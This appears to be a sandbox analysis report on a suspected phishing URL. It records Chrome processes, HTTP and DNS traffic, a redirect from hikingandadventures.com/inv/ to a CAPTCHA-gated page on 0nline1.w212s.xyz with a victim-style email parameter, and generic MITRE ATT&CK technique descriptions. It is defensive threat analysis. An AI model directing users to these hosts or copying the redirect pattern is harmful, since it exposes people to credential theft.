2025-01-09 10:27:14 UTC	529	IN	Data Raw: 5f 61 57 4f 76 4c 62 6a 47 75 6f 41 38 48 6a 32 6f 53 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 22 20 6e 6f 6e 63 65 3d 22 48 34 33 68 65 33 51 78 78 55 48 63 79 68 74 36 39 51 36 31 51 41 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 2d 74 6f 6b 65 6e 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 48 34 33 68 65 33 51 78 78 55 48 63 79 68 74 36 39 51 36 31 51 41 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 66 72 61 6d 65 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 Data Ascii: _aWOvLbjGuoA8Hj2oS/recaptcha__en.js" nonce="H43he3QxxUHcyht69Q61QA"> </script></head><body><input type="hidden" id="recaptcha-token"><script type="text/javascript" nonce="H43he3QxxUHcyht69Q61QA"> recaptcha.frame.Main.init("[\x2
2025-01-09 10:27:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:26:39
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:26:43
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2484,i,16957082171308088607,17043087348202142174,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:26:49
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hikingandadventures.com/inv/"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: http://hikingandadventures.com/inv/	HTTP Parser: No favicon
Source: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com	HTTP Parser: No favicon
Source: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com	HTTP Parser: No favicon

Source: global traffic	TCP traffic: 192.168.2.5:61215 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:51360 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /?username=q5we7a@yyp.com HTTP/1.1Host: 0nline1.w212s.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://hikingandadventures.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://0nline1.w212s.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5&co=aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ejo0NDM.&hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&size=normal&cb=vs2hjyypa6wq HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0nline1.w212s.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5&co=aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ejo0NDM.&hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&size=normal&cb=vs2hjyypa6wqAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/GaYUpI3TM2ZeJrJuY6shdNLJBEVQZd83XqI1ZKo9ZSY.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5&co=aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ejo0NDM.&hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&size=normal&cb=vs2hjyypa6wqAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/GaYUpI3TM2ZeJrJuY6shdNLJBEVQZd83XqI1ZKo9ZSY.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0nline1.w212s.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inv/ HTTP/1.1Host: hikingandadventures.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: hikingandadventures.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://hikingandadventures.com/inv/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: hikingandadventures.com
Source: global traffic	DNS traffic detected: DNS query: 0nline1.w212s.xyz
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 0nline1.w212s.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 0nline1.w212s.xyz

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://hikingandadventures.com/inv/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
http://hikingandadventures.com/inv/